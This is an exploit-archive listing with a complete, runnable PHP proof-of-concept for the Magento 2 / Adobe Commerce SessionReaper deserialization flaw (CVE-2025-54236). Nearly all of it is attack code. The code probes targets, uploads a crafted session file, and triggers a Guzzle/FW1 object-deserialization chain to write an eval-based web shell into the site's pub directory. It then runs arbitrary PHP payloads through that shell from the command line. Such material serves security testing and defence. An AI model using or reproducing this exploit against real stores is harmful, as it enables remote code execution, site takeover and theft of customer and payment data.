Share
## https://sploitus.com/exploit?id=PACKETSTORM:214333
=============================================================================================================================================
    | # Title     : Magento 2 / Adobe Commerce 2.4.x SessionReaper Exploit                                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://community.magento.com/                                                                                              |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212729/ & CVE-2025-54236
    
    [+] Summary    : This PHP script is a proof‑of‑concept exploit targeting Magento for CVE‑2025‑54236, commonly referred to as SessionReaper. 
                     It is a PHP port of an original Metasploit module and is designed for security testing.
    
    [+] What it does (high level):
    
    Generates random identifiers (session ID, filenames, parameters) to avoid collisions.
    
    Checks whether a Magento target appears vulnerable by sending crafted REST API requests and analyzing HTTP responses (400/404/500 patterns).
    
    If vulnerable, abuses PHP object deserialization via Magento’s REST endpoint to manipulate the session save path.
    
    Uploads a malicious session file using a file upload endpoint.
    
    Triggers deserialization to write a PHP file into a web‑accessible location.
    
    Executes a supplied PHP payload by POSTing base64‑encoded data to the dropped file.
    
    Uses cURL for all HTTP interactions and handles multipart/form‑data manually.
    
    [+] Key components:
    
    check() — determines vulnerability based on response behavior.
    
    exploit() — performs the full exploit chain and executes a payload.
    
    Guzzle/FW1 object serialization — used to craft the malicious session content.
    
    Randomization helpers — generate IDs, filenames, and parameters.
    
    CLI usage — allows running the script from the command line with a target URL and optional payload.
    
    [+] PoC :     
    
    # For testing only 
    
    php magento_exploit.php https://target.com/
    
    # For execution with a custom payload
    
    php magento_exploit.php https://target.com/ 'echo "Vulnerable!";'
    
    <?php
    
    class MagentoSessionReaperExploit
    {
        private $targetUrl;
        private $sessionId;
        private $sessionFilename;
        private $exploitFilename;
        private $postParam;
        private $formKey;
    
        public function __construct($targetUrl)
        {
            $this->targetUrl = rtrim($targetUrl, '/');
            $this->sessionId = $this->generateRandomHex(32);
            $this->sessionFilename = "sess_{$this->sessionId}";
            $this->exploitFilename = $this->generateRandomAlphanumeric(4, 8) . ".php";
            $this->postParam = $this->generateRandomAlphanumeric(4, 8);
            $this->formKey = $this->generateRandomAlphanumeric(8, 12);
        }
    
        public function check()
        {
            $randomPath = $this->generateRandomAlphanumeric(4, 8) . '/' . 
                         $this->generateRandomAlphanumeric(4, 8) . '/' . 
                         $this->generateRandomAlphanumeric(4, 8);
            
            $cartId = $this->generateRandomAlphanumeric(4, 8);
            $payload = $this->buildDeserializationPayload($randomPath);
            
            $url = $this->targetUrl . "/rest/default/V1/guest-carts/{$cartId}/order";
            
            $response = $this->sendRequest($url, 'PUT', $payload, [
                'Content-Type: application/json',
                'Accept: application/json'
            ]);
            
            if (!$response) {
                return ['status' => 'unknown', 'message' => 'No response from target'];
            }
            
            $httpCode = $response['http_code'];
            $body = strtolower($response['body']);
            
            switch ($httpCode) {
                case 400:
                    return ['status' => 'safe', 'message' => 'Target is patched (returns 400 Bad Request)'];
                    
                case 404:
                    if ($this->check404Response($body)) {
                        return ['status' => 'vulnerable', 'message' => 'Target returned 404 with expected error pattern'];
                    }
                    break;
                    
                case 500:
                    if ($this->check500Response($body)) {
                        return ['status' => 'vulnerable', 'message' => 'Target returned 500 error with SessionHandler'];
                    }
                    break;
            }
            
            return ['status' => 'unknown', 'message' => "Unexpected HTTP status: {$httpCode}"];
        }
    
        public function exploit($phpPayload)
        {
            echo "[*] Generating Guzzle/FW1 deserialization payload...\n";
    
            $phpStub = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";
    
            $guzzlePayload = $this->buildGuzzleFw1Payload("pub/{$this->exploitFilename}", $phpStub);
            
            echo "[*] Uploading session file with Guzzle payload...\n";
    
            $uploadedPath = $this->uploadSessionFile($guzzlePayload);
            if (!$uploadedPath) {
                return ['success' => false, 'message' => 'Failed to upload session file'];
            }
    
            $savePath = "media/customer_address" . dirname($uploadedPath);
            
            echo "[*] Triggering deserialization...\n";
    
            if (!$this->triggerDeserialization($savePath)) {
                return ['success' => false, 'message' => 'Failed to trigger deserialization'];
            }
            
            echo "[*] Executing payload...\n";
    
            $encodedPayload = base64_encode($phpPayload);
            $executeUrl = $this->targetUrl . "/pub/{$this->exploitFilename}";
            
            $response = $this->sendRequest($executeUrl, 'POST', 
                http_build_query([$this->postParam => $encodedPayload]),
                ['Content-Type: application/x-www-form-urlencoded']
            );
            
            if ($response && $response['http_code'] == 200) {
                echo "[+] Payload executed successfully!\n";
                echo "[+] Response: " . substr($response['body'], 0, 500) . "...\n";
                
                return [
                    'success' => true,
                    'message' => 'Exploit completed',
                    'session_id' => $this->sessionId,
                    'exploit_file' => $this->exploitFilename,
                    'post_param' => $this->postParam
                ];
            }
            
            return ['success' => false, 'message' => 'Payload execution failed'];
        }
        private function check404Response($body)
        {
            if (strpos($body, 'no such entity') === false) {
                return false;
            }
            
            return (strpos($body, 'cartid') !== false) || 
                   (strpos($body, 'fieldname') !== false && strpos($body, 'fieldvalue') !== false);
        }
        private function check500Response($body)
        {
            if (strpos($body, '500 internal server error') !== false && 
                strpos($body, 'sessionhandler') === false) {
                return false;
            }
            
            return (strpos($body, 'sessionhandler::read') !== false) ||
                   (strpos($body, 'no such file or directory') !== false && 
                    strpos($body, 'session') !== false) ||
                   (strpos($body, 'webapi-') !== false);
        }
    
        private function sessionSaveDirFromFilename($filename)
        {
            return $filename[0] . '/' . $filename[1];
        }
    
        private function uploadSessionFile($content)
        {
            $filename = $this->sessionFilename;
            echo "[*] Uploading malicious session file: {$filename}\n";
            
            // Create multipart form data
            $boundary = '----' . md5(microtime());
            $eol = "\r\n";
            
            $data = "--{$boundary}{$eol}";
            $data .= "Content-Disposition: form-data; name=\"form_key\"{$eol}{$eol}";
            $data .= "{$this->formKey}{$eol}";
            
            $data .= "--{$boundary}{$eol}";
            $data .= "Content-Disposition: form-data; name=\"custom_attributes[country_id]\"; filename=\"{$filename}\"{$eol}";
            $data .= "Content-Type: application/octet-stream{$eol}{$eol}";
            $data .= "{$content}{$eol}";
            $data .= "--{$boundary}--{$eol}";
            
            $url = $this->targetUrl . "/customer/address_file/upload";
            
            $response = $this->sendRequest($url, 'POST', $data, [
                "Content-Type: multipart/form-data; boundary={$boundary}",
                "Cookie: form_key={$this->formKey}"
            ]);
            
            if (!$response || $response['http_code'] != 200) {
                echo "[-] Upload failed with HTTP code: " . ($response['http_code'] ?? 'No response') . "\n";
                return false;
            }
            
            // Parse JSON response
            $json = json_decode($response['body'], true);
            
            if (isset($json['error']) && $json['error'] != 0) {
                echo "[-] Upload failed: {$json['error']}\n";
                return false;
            }
            
            if (isset($json['file'])) {
                return $json['file'];
            }
            
            // Default path
            $saveDir = $this->sessionSaveDirFromFilename($filename);
            return "/{$saveDir}/{$filename}";
        }
    
        private function buildDeserializationPayload($savePath)
        {
            $payload = [
                'paymentMethod' => [
                    'paymentData' => [
                        'context' => [
                            'urlBuilder' => [
                                'session' => [
                                    'sessionConfig' => [
                                        'savePath' => $savePath
                                    ]
                                ]
                            ]
                        ]
                    ]
                ]
            ];
            
            return json_encode($payload);
        }
    
        private function triggerDeserialization($savePath)
        {
            $cartId = $this->generateRandomAlphanumeric(4, 8);
            $payload = $this->buildDeserializationPayload($savePath);
            
            $url = $this->targetUrl . "/rest/default/V1/guest-carts/{$cartId}/order";
            
            $response = $this->sendRequest($url, 'PUT', $payload, [
                'Content-Type: application/json',
                'Accept: application/json',
                "Cookie: PHPSESSID={$this->sessionId}"
            ]);
            
            if (!$response) {
                return false;
            }
            
            return in_array($response['http_code'], [404, 500]);
        }
    
        private function serializeStringAscii($str)
        {
            $result = '';
            $length = strlen($str);
            
            for ($i = 0; $i < $length; $i++) {
                $byte = ord($str[$i]);
                
                // Keep printable ASCII except backslash and double quote
                if ($byte >= 32 && $byte <= 126 && $byte != 92 && $byte != 34) {
                    $result .= $str[$i];
                } else {
                    // Escape as \xHH
                    $result .= sprintf("\\x%02x", $byte);
                }
            }
            
            return "S:{$length}:\"{$result}\";";
        }
    
        private function buildGuzzleFw1Payload($targetFile, $phpContent)
        {
            $escaped = "{$phpContent}\n";
    
            $setCookieData = "a:3:{" . 
                $this->serializeStringAscii('Expires') . "i:1;" .
                $this->serializeStringAscii('Discard') . "b:0;" .
                $this->serializeStringAscii('Value') . $this->serializeStringAscii($escaped) .
            "}";
            
               $setCookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' .
                "{" . $this->serializeStringAscii('data') . $setCookieData . "}";
            
               $cookiesArray = "a:1:{i:0;{$setCookie}}";
            
            $fileCookieJar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' .
                "{" . $this->serializeStringAscii('cookies') . $cookiesArray .
                $this->serializeStringAscii('strictMode') . "N;" .
                $this->serializeStringAscii('filename') . $this->serializeStringAscii($targetFile) .
                $this->serializeStringAscii('storeSessionCookies') . "b:1;}";
            
            return "_|{$fileCookieJar}";
        }
    
        private function sendRequest($url, $method, $data = null, $headers = [])
        {
            $ch = curl_init();
            
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_HEADER, false);
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            
            if ($data !== null) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            }
            
            if (!empty($headers)) {
                curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            }
            
            $body = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            
            curl_close($ch);
            
            if ($error && !$body) {
                echo "[-] cURL error: {$error}\n";
                return false;
            }
            
            return [
                'http_code' => $httpCode,
                'body' => $body,
                'error' => $error
            ];
        }
        
    
        private function generateRandomHex($length)
        {
            $bytes = random_bytes($length / 2);
            return bin2hex($bytes);
        }
        
        private function generateRandomAlphanumeric($min, $max)
        {
            $length = random_int($min, $max);
            $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
            $result = '';
            
            for ($i = 0; $i < $length; $i++) {
                $result .= $chars[random_int(0, strlen($chars) - 1)];
            }
            
            return $result;
        }
    }
    
    if (php_sapi_name() === 'cli') {
        if ($argc < 2) {
            echo "Usage: php " . basename(__FILE__) . " <target_url> [payload]\n";
            echo "Example: php " . basename(__FILE__) . " https://target.com/ 'system(\"id\");'\n";
            exit(1);
        }
        
        $targetUrl = $argv[1];
        $payload = $argv[2] ?? 'echo "Exploit successful!";';
        
        $exploit = new MagentoSessionReaperExploit($targetUrl);
        
        echo "[*] Checking target: {$targetUrl}\n";
        $checkResult = $exploit->check();
        
        echo "[*] Check result: {$checkResult['status']} - {$checkResult['message']}\n";
        
        if ($checkResult['status'] === 'vulnerable') {
            echo "[*] Target appears vulnerable. Proceeding with exploit...\n";
            $result = $exploit->exploit($payload);
            
            if ($result['success']) {
                echo "[+] Exploit successful!\n";
                echo "[+] Session ID: {$result['session_id']}\n";
                echo "[+] Exploit file: {$result['exploit_file']}\n";
                echo "[+] POST parameter: {$result['post_param']}\n";
            } else {
                echo "[-] Exploit failed: {$result['message']}\n";
            }
        } else {
            echo "[-] Target does not appear vulnerable or check failed\n";
        }
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================